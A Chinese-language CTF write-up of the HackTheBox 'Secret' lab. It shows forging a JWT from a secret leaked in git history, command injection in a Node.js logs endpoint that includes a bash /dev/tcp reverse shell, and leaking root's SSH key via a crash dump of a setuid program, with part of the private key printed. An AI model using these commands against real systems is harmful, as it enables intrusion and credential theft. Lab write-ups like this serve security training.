title: HackTheBox-Secret-JWT author: Mosaic Theory layout: true categories: 漏洞实验 tags:
• 打靶日记
Variety is the spice of life.
变化是生活的调味品。
HackTheBox-Secret
Recon:
Msscan:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-05-15 08:34:54 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.11.120
Discovered open port 22/tcp on 10.10.11.120
Discovered open port 3000/tcp on 10.10.11.120
Nmap:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-15 17:37 CST
Nmap scan report for 10.10.11.120
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.31 seconds
WhatWeb:
>> whatweb http://secret.htb/
http://secret.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.120], Lightbox, Meta-Author[Xiaoying Riley at 3rd Wave Media], Script, Title[DUMB Docs], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
Port 80:
一个在线文档搜索,输入名称会进行搜索,可能存在注入。还要一个用户名,以及一个软件源码包:
[17:47:18] Starting:
[17:48:15] 200 - 93B - /api
[17:48:15] 200 - 93B - /api/
[17:48:15] 200 - 93B - /api/jsonws/invoke
[17:48:15] 200 - 93B - /api/2/explore/
[17:48:15] 200 - 93B - /api/error_log
[17:48:15] 200 - 93B - /api/jsonws
[17:48:15] 200 - 93B - /api/2/issue/createmeta
[17:48:15] 200 - 93B - /api/login.json
[17:48:15] 200 - 93B - /api/package_search/v4/documentation
[17:48:15] 200 - 93B - /api/swagger
[17:48:15] 200 - 93B - /api/swagger.yml
[17:48:15] 200 - 93B - /api/swagger-ui.html
[17:48:15] 200 - 93B - /api/v3
[17:48:15] 200 - 93B - /api/v2
[17:48:15] 200 - 93B - /api/v2/helpdesk/discover
[17:48:15] 200 - 93B - /api/v1
[17:48:18] 301 - 179B - /assets -> /assets/
[17:48:37] 200 - 20KB - /docs/
[17:48:37] 200 - 20KB - /docs
[17:48:38] 301 - 183B - /download -> /download/
有很多垃圾信息,跟源码目录对不上:
>> ls
index.js model node_modules package.json package-lock.json public routes src validations.js
然后还会有官方文档:
POST http://localhost:3000/api/user/register
{
"name": "dasith",
"email": "root@dasith.works",
"password": "Kekc8swFgD6zU"
}
看起来像是注册,还有一个登录:
POST http://localhost:3000/api/user/login
Port 3000:
3000与80端口一样,官方文档提到的注册页面无法直接访问,可以通过curl:
>> curl -d '{"name":"admin","email":"admin@secret.htb","password":"password"}' -X POST http://secret.htb/api/user/register -H 'Content-Type: Application/json'
"name" length must be at least 6 characters long
名字必须大于六个字符:
>> curl -d '{"name":"mosaic","email":"mosaic@outlook.com","password":"password"}' -X POST http://secret.htb/api/user/register -H 'Content-Type: Application/json'
{"user":"mosaic"}
看起来注册成功了,可以尝试访问登录页面:
>> curl -d '{"email":"mosaic@outlook.com","password":"password"}' -X POST http://secret.htb/api/user/login -H 'Content-Type: Application/json'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw
会获取到一串编码字符串,尝试解码会把头解出来,是JWT令牌:
>> echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw |base64 -d
{"alg":"HS256","typ":"JWT"}base64: 输入无效
可以到JWT官网去解码:
{
"alg": "HS256",
"typ": "JWT"
}
{
"_id": "6280c84e3cb26b04640f0608",
"name": "mosaic",
"email": "mosaic@outlook.com",
"iat": 1652607192
}
如果要伪造JWT令牌的话,我需要密钥,或许会藏在我下载的源码中,源码文件中没找到,但是在.git目录里,可以查看git目录,会发现出于安全原因删除了 .env 的提示:
>> ls -a
. .env index.js node_modules package-lock.json routes validations.js
.. .git model package.json public src
>> cd .git
>> git log --oneline
e297a27 (HEAD -> master) now we can view logs from server ?
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit
可以看一眼对应事件:
>> git show 67d8da7
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
/routes/auth.js应该是在登录时候签发 JWT:
router.post('/login', async (req , res) => {
const { error } = loginValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
// check if email is okay
const user = await User.findOne({ email: req.body.email })
if (!user) return res.status(400).send('Email is wrong');
// check password
const validPass = await bcrypt.compare(req.body.password, user.password)
if (!validPass) return res.status(400).send('Password is wrong');
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
})
/routes/verifytoken.js是用来校验提交的令牌:
const jwt = require("jsonwebtoken");
module.exports = function (req, res, next) {
const token = req.header("auth-token");
if (!token) return res.status(401).send("Access Denied");
try {
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
req.user = verified;
next();
} catch (err) {
res.status(400).send("Invalid Token");
}
}
private.js是用来检测令牌权限:
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
它有一个/log是管理员独属的,而且存在命令注入漏洞,对输入参数看起来没什么过滤便会调用exec执行:
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.use(function (req, res, next) {
res.json({
message: {
message: "404 page not found",
desc: "page you are looking for is not found. "
}
})
});
module.exports = router
我可以用自己令牌验证一下:
>> curl -s 'http://secret.htb/api/priv' -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw" | jq .
{
"role": {
"role": "you are normal user",
"desc": "mosaic"
}
}
制作JWT:
可以看下这篇文章:
https://pyjwt.readthedocs.io/en/2.0.1/usage.html
>> python
Python 3.9.12 (main, Mar 24 2022, 13:02:21)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoibW9zYWljIiwiZW1haWwiOiJtb3NhaWNAb3V0bG9vay5jb20iLCJpYXQiOjE2NTI2MDcxOTJ9.AxIpctQ-eyrU79TD3EK9IAcX9tCBRMosgrnxZFsmMOw'
>>> secret = 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE'
>>> jwt.decode(token, secret, options={"verify_signature": False})
{'_id': '6280c84e3cb26b04640f0608', 'name': 'mosaic', 'email': 'mosaic@outlook.com', 'iat': 1652607192}
>>> j = jwt.decode(token, secret, options={"verify_signature": False})
>>> j['name'] = 'theadmin'
>>> jwt.encode(j, secret)
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg'
>> curl -s 'http://secret.htb/api/priv' -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg" | jq .
{
"creds": {
"role": "admin",
"username": "theadmin",
"desc": "welcome back admin"
}
}
现在可以看一眼我觉得存在命令注入的地方:
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
在我刚刚输入git log --oneline也能正常运行,那么我可以用 ; 分隔开:
>> curl -s 'http://secret.htb/api/logs?file=;ping+-c+1+10.10.16.6' -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg" | jq .
"80bf34c fixed typos ?\n0c75212 now we can view logs from server ?\nab3e953 Added the codes\nPING 10.10.16.6 (10.10.16.6) 56(84) bytes of data.\n64 bytes from 10.10.16.6: icmp_seq=1 ttl=63 time=316 ms\n\n--- 10.10.16.6 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time 0ms\nrtt min/avg/max/mdev = 316.039/316.039/316.039/0.000 ms\n"
确实能监听到:
>> sudo tcpdump -i tun0 icmp and src 10.10.11.120
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:25:33.234043 IP secret.htb > 10.10.16.6: ICMP echo request, id 1, seq 1, length 64
POST方法在传输过程中因为没有编码反弹shell的命令会被破坏,可以强制使用Get方式,并对命令进行编码:
curl -s -G 'http://secret.htb/api/logs' --data-urlencode "file=>/dev/null;bash -c 'bash -i >& /dev/tcp/10.10.16.6/9001 0>&1'" -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjgwYzg0ZTNjYjI2YjA0NjQwZjA2MDgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1vc2FpY0BvdXRsb29rLmNvbSIsImlhdCI6MTY1MjYwNzE5Mn0.uC47KV7Q2HRbAwB5PXibnPeo2E8gDXv_ZPNLTo1AJBg" | jq -r .
>> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.120] 32932
bash: cannot set terminal process group (1124): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$
获取user.txt:
dasith@secret:~/local-web$ ls
index.js node_modules package-lock.json routes validations.js
model package.json public src
dasith@secret:~/local-web$ cd ~
dasith@secret:~$ ls
local-web user.txt
dasith@secret:~$ cat suer
cat: suer: No such file or directory
dasith@secret:~$ cat user.txt
0bb.............................
提权枚举:
当前用户目录是空的,在/opt下有一些文件:
dasith@secret:/opt$ ls
code.c count valgrind.log
dasith@secret:/opt$ cat code.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
void dircount(const char *path, char *summary)
{
DIR *dir;
char fullpath[PATH_MAX];
struct dirent *ent;
struct stat fstat;
int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
if((dir = opendir(path)) == NULL)
{
printf("\nUnable to open directory.\n");
exit(EXIT_FAILURE);
}
while ((ent = readdir(dir)) != NULL)
{
++tot;
strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
strcat(fullpath, "/");
strncat(fullpath, ent->d_name, strlen(ent->d_name));
if (!lstat(fullpath, &fstat))
{
if(S_ISDIR(fstat.st_mode))
{
printf("d");
++directories;
}
else if(S_ISLNK(fstat.st_mode))
{
printf("l");
++symlinks;
}
else if(S_ISREG(fstat.st_mode))
{
printf("-");
++regular_files;
}
else printf("?");
printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
printf((fstat.st_mode & S_IROTH) ? "r" : "-");
printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
}
else
{
printf("??????????");
}
printf ("\t%s\n", ent->d_name);
}
closedir(dir);
snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
printf("\n%s", summary);
}
void filecount(const char *path, char *summary)
{
FILE *file;
char ch;
int characters, words, lines;
file = fopen(path, "r");
if (file == NULL)
{
printf("\nUnable to open file.\n");
printf("Please check if file exists and you have read privilege.\n");
exit(EXIT_FAILURE);
}
characters = words = lines = 0;
while ((ch = fgetc(file)) != EOF)
{
characters++;
if (ch == '\n' || ch == '\0')
lines++;
if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
words++;
}
if (characters > 0)
{
words++;
lines++;
}
snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
printf("\n%s", summary);
}
int main()
{
char path[100];
int res;
struct stat path_s;
char summary[4096];
printf("Enter source file/directory name: ");
scanf("%99s", path);
getchar();
stat(path, &path_s);
if(S_ISDIR(path_s.st_mode))
dircount(path, summary);
else
filecount(path, summary);
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
res = getchar();
if (res == 121 || res == 89) {
printf("Path: ");
scanf("%99s", path);
FILE *fp = fopen(path, "a");
if (fp != NULL) {
fputs(summary, fp);
fclose(fp);
} else {
printf("Could not open %s for writing\n", path);
}
}
return 0;
}
看起来是帮我获取文件信息的:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
Path: /opt/root.txt
Could not open /opt/root.txt for writing
dasith@secret:/opt$ ls
code.c count valgrind.log
dasith@secret:/opt$
能读取目录信息:
dasith@secret:/opt$ ./count /root/
Enter source file/directory name: /root
-rw-r--r-- .viminfo
drwxr-xr-x ..
-rw-r--r-- .bashrc
drwxr-xr-x .local
drwxr-xr-x snap
lrwxrwxrwx .bash_history
drwx------ .config
drwxr-xr-x .pm2
-rw-r--r-- .profile
drwxr-xr-x .vim
drwx------ .
drwx------ .cache
-r-------- root.txt
drwxr-xr-x .npm
drwx------ .ssh
Total entries = 15
Regular files = 4
Directories = 10
Symbolic links = 1
Save results a file? [y/N]:
只能帮我统计文件字数,但无法帮我读取出来:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub
Total entries = 5
Regular files = 3
Directories = 2
Symbolic links = 0
Save results a file? [y/N]: n
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]:
我可以在它让我选择的时候将它挂起,然后去尝试读取它的句柄:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub
Total entries = 5
Regular files = 3
Directories = 2
Symbolic links = 0
Save results a file? [y/N]: n
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: ^Z
[1]+ Stopped ./count
dasith@secret:/opt$ ps | grep "count"
1589 pts/0 00:00:00 count
dasith@secret:/opt$ cd /proc/
dasith@secret:/proc$ cd 1589/
dasith@secret:/proc/1589$ ls
arch_status environ mountinfo personality statm
attr exe mounts projid_map status
autogroup fd mountstats root syscall
auxv fdinfo net sched task
cgroup gid_map ns schedstat timers
clear_refs io numa_maps sessionid timerslack_ns
cmdline limits oom_adj setgroups uid_map
comm loginuid oom_score smaps wchan
coredump_filter map_files oom_score_adj smaps_rollup
cpuset maps pagemap stack
cwd mem patch_state stat
dasith@secret:/proc/1589$ cd fd
dasith@secret:/proc/1589/fd$ ls
0 1 2 3
dasith@secret:/proc/1589/fd$ cd 3
bash: cd: 3: Not a directory
dasith@secret:/proc/1589/fd$ ls
0 1 2 3
dasith@secret:/proc/1589/fd$ cat 0
ls
ls
dasith@secret:/proc/1589/fd$ cat 1
^C
dasith@secret:/proc/1589/fd$ cat 2
^C
dasith@secret:/proc/1589/fd$ cat 3
cat: 3: Permission denied
dasith@secret:/proc/1589/fd$ ls -all
total 0
dr-x------ 2 dasith dasith 0 May 15 11:57 .
dr-xr-xr-x 9 dasith dasith 0 May 15 11:57 ..
lrwx------ 1 dasith dasith 64 May 15 11:58 0 -> /dev/pts/0
lrwx------ 1 dasith dasith 64 May 15 11:58 1 -> /dev/pts/0
lrwx------ 1 dasith dasith 64 May 15 11:58 2 -> /dev/pts/0
lr-x------ 1 dasith dasith 64 May 15 11:58 3 -> /root/.ssh/id_rsa
dasith@secret:/proc/1589/fd$
当我尝试用/count去读取/root/.viminfo,看到一个类似密钥的东西:
-----END OPENSSH PRIVATE KEY-----
|3,1,0,1,38,0,1633544227,"-----BEGIN OPENSSH PRIVATE KEY-----","b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn","NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3","KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+","7wNrxitkPrmuViWPGQCotBDCZmn4WNbNT0kcsfA+b4xB+am6tyDthqjfPJngROf0Z26lA1","xw0OmoCdyhvQ3azlbkZZ7EWeTtQ/EYcdYofa8/mbQ+amOb9YaqWGiBai69w0Hzf06lB8cx",>72
|<"8G+KbGPcN174a666dRwDFmbrd9nc9E2YGn5aUfMkvbaJoqdHRHGCN1rI78J7rPRaTC8aTu","BKexPVVXhBO6+e1htuO31rHMTHABt4+6K4wv7YvmXz3Ax4HIScfopVl7futnEaJPfHBdg2","5yXbi8lafKAGQHLZjD9vsyEi5wqoVOYalTXEXZwOrstp3Y93VKx4kGGBqovBKMtlRaic+Y","Tv0vTW3fis9d7aMqLpuuFMEHxTQPyor3+/aEHiLLAAAFiMxy1SzMctUsAAAAB3NzaC1yc2","EAAAGBAJ+sy5Zu0DhhmcrVAjt0jaUeb3Q38Tc5X5FMOJzMP4RZaUT2ikW4tylGbASsoKDr","85oc1mHLONd1AyalDFrPqPTsHqtL4sENUCZlcM76hYxTUsc1xFaI5qAnj8Pu8Da8YrZD65",>72
|<"rlYljxkAqLQQwmZp+FjWzU9JHLHwPm+MQfmpurcg7Yao3zyZ4ETn9GdupQNccNDpqAncob","0N2s5W5GWexFnk7UPxGHHWKH2vP5m0Pmpjm/WGqlhogWouvcNB839OpQfHMfBvimxj3Dde","+GuuunUcAxZm63fZ3PRNmBp+WlHzJL22iaKnR0RxgjdayO/Ce6z0WkwvGk7gSnsT1VV4QT","uvntYbbjt9axzExwAbePuiuML+2L5l89wMeByEnH6KVZe37rZxGiT3xwXYNucl24vJWnyg","BkBy2Yw/b7MhIucKqFTmGpU1xF2cDq7Lad2Pd1SseJBhgaqLwSjLZUWonPmE79L01t34rP","Xe2jKi6brhTBB8U0D8qK9/v2hB4iywAAAAMBAAEAAAGAGkWVDcBX1B8C7eOURXIM6DEUx3",>72
|<"t43cw71C1FV08n2D/Z2TXzVDtrL4hdt3srxq5r21yJTXfhd1nSVeZsHPjz5LCA71BCE997","44VnRTblCEyhXxOSpWZLA+jed691qJvgZfrQ5iB9yQKd344/+p7K3c5ckZ6MSvyvsrWrEq","Hcj2ZrEtQ62/ZTowM0Yy6V3EGsR373eyZUT++5su+CpF1A6GYgAPpdEiY4CIEv3lqgWFC3","4uJ/yrRHaVbIIaSOkuBi0h7Is562aoGp7/9Q3j/YUjKBtLvbvbNRxwM+sCWLasbK5xS7Vv","D569yMirw2xOibp3nHepmEJnYZKomzqmFsEvA1GbWiPdLCwsX7btbcp0tbjsD5dmAcU4nF","JZI1vtYUKoNrmkI5WtvCC8bBvA4BglXPSrrj1pGP9QPVdUVyOc6QKSbfomyefO2HQqne6z",>72
|<"y0N8QdAZ3dDzXfBlVfuPpdP8yqUnrVnzpL8U/gc1ljKcSEx262jXKHAG3mTTNKtooZAAAA","wQDPMrdvvNWrmiF9CSfTnc5v3TQfEDFCUCmtCEpTIQHhIxpiv+mocHjaPiBRnuKRPDsf81","ainyiXYooPZqUT2lBDtIdJbid6G7oLoVbx4xDJ7h4+U70rpMb/tWRBuM51v9ZXAlVUz14o","Kt+Rx9peAx7dEfTHNvfdauGJL6k3QyGo+90nQDripDIUPvE0sac1tFLrfvJHYHsYiS7hLM","dFu1uEJvusaIbslVQqpAqgX5Ht75rd0BZytTC9Dx3b71YYSdoAAADBANMZ5ELPuRUDb0Gh","mXSlMvZVJEvlBISUVNM2YC+6hxh2Mc/0Szh0060qZv9ub3DXCDXMrwR5o6mdKv/kshpaD4",>72
|<"Ml+fjgTzmOo/kTaWpKWcHmSrlCiMi1YqWUM6k9OCfr7UTTd7/uqkiYfLdCJGoWkehGGxep","lJpUUj34t0PD8eMFnlfV8oomTvruqx0wWp6EmiyT9zjs2vJ3zapp2HWuaSdv7s2aF3gibc","z04JxGYCePRKTBy/kth9VFsAJ3eQezpwAAAMEAwaLVktNNw+sG/Erdgt1i9/vttCwVVhw9","RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9","6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl","xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k","fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==",>35
|<"-----END OPENSSH PRIVATE KEY-----"
这个能读,但是信息乱了。
程序崩溃转储密钥:
学到了,当程序崩溃时,系统会将崩溃转储文件存储在/var/crash,先读取ssh密钥然后将其挂起,这样该程序的句柄会一直处于打开状态:
dasith@secret:/proc/1616/fd$ cd /opt/
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: ^Z
[3]+ Stopped ./count
dasith@secret:/opt$ ps |grep "count"
1632 pts/0 00:00:00 count
dasith@secret:/opt$ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
dasith@secret:/opt$ kill -SIGSEGV 1632
dasith@secret:/opt$ cd /var/crash
dasith@secret:/var/crash$ fg
./count (wd: /opt)
Segmentation fault (core dumped)
dasith@secret:/var/crash$ ls
_opt_count.0.crash _opt_count.1000.crash _opt_countzz.0.crash
dasith@secret:/var/crash$ ls -all
total 92
drwxrwxrwt 2 root root 4096 May 15 12:19 .
drwxr-xr-x 14 root root 4096 Aug 13 2021 ..
-rw-r----- 1 root root 27203 Oct 6 2021 _opt_count.0.crash
-rw-r----- 1 dasith dasith 31397 May 15 12:19 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 2021 _opt_countzz.0.crash
这样我就拿到了该程序崩溃文件,是一个文本文件,在文本末尾会有很大一串base64编码的数据:
dasith@secret:/var/crash$ file _opt_count.1000.crash
_opt_count.1000.crash: ASCII text, with very long lines
dasith@secret:/var/crash$ cat _opt_count.1000.crash
CoreDump: base64
H4sICAAAAAAC/0NvcmVEdW1wAA==
................................................ 7Z0HYBtF1sdXtpM4hiQGEghd3Af3BUxiuduAQe5yl3uh2LIkW7JlSVax5RwQQwLEhIDpHNX00M0BdzmqqBeOZuAOAlwxHHDhaD5KLhzF3xvNG1s7kdIIV/jeDzb/nTfvzczOzs6OVsUriiqKYzQaRRCnHK/MpBRFr2yNXslWFk/7c4ZmRXAExveMbNeIWC0aRu6seLohzCExsrK4UFU6tI9KcVHip+sTcWO7GBfc8XbOZjt6tI/vZJwR7aNXVanjYiSV2tmO9kmfTrciQn3GreNC/elGu35AHScY2i9yfSIueH7kuNG4reKU8Lj2iyPHRTsPIs4txekklftzFONGdzJuHOPGpbh2SbcaL7HcELwk8nmINq71GDd+SeR+0UU57yJOuTzK+YvSThE3cvkOt5OPT4wb3cm4dowb28k4tzi+1fZvVXHbuR7ExGT8uTpuG+c9FDGGcUNS3DbaGRrbQTERtk8xthfHvI0aHltQXVvEbHuEVRe+L2iHDvloFtcPo8y7O0P8M3xs2+bx9Oh6nh79JepTXIdu41osLsF7+Zx2kFzgd6FDn8rXnM3PMU4BY7dIcxki/NIwLco3bBwO9X0S2vVHRLkmoiDmGtZFq2FjI0j0sVKLmXP0IdkUyze5b80uv9MX.................................................
可以通过以下命令将其转储到指定目录,在目录下原文本各个字段会变成一个二进制文件,可以通过strings命令读取:
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/hack
dasith@secret:/var/crash$ cd /tmp/hack/
dasith@secret:/tmp/hack$ strings -n 30 CoreDump
l characters = 2////////////////
l characters = 2////////////////
Please check if file exists and you have read privilege.
Enter source file/directory name:
Save results a file? [y/N]: l words = 45
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
.....................................................................
EAAAGBAJ+sy5Zu0DhhmcrVAjt0jaUeb3Q38Tc5X5FMOJzMP4RZaUT2ikW4tylGbASsoKDr
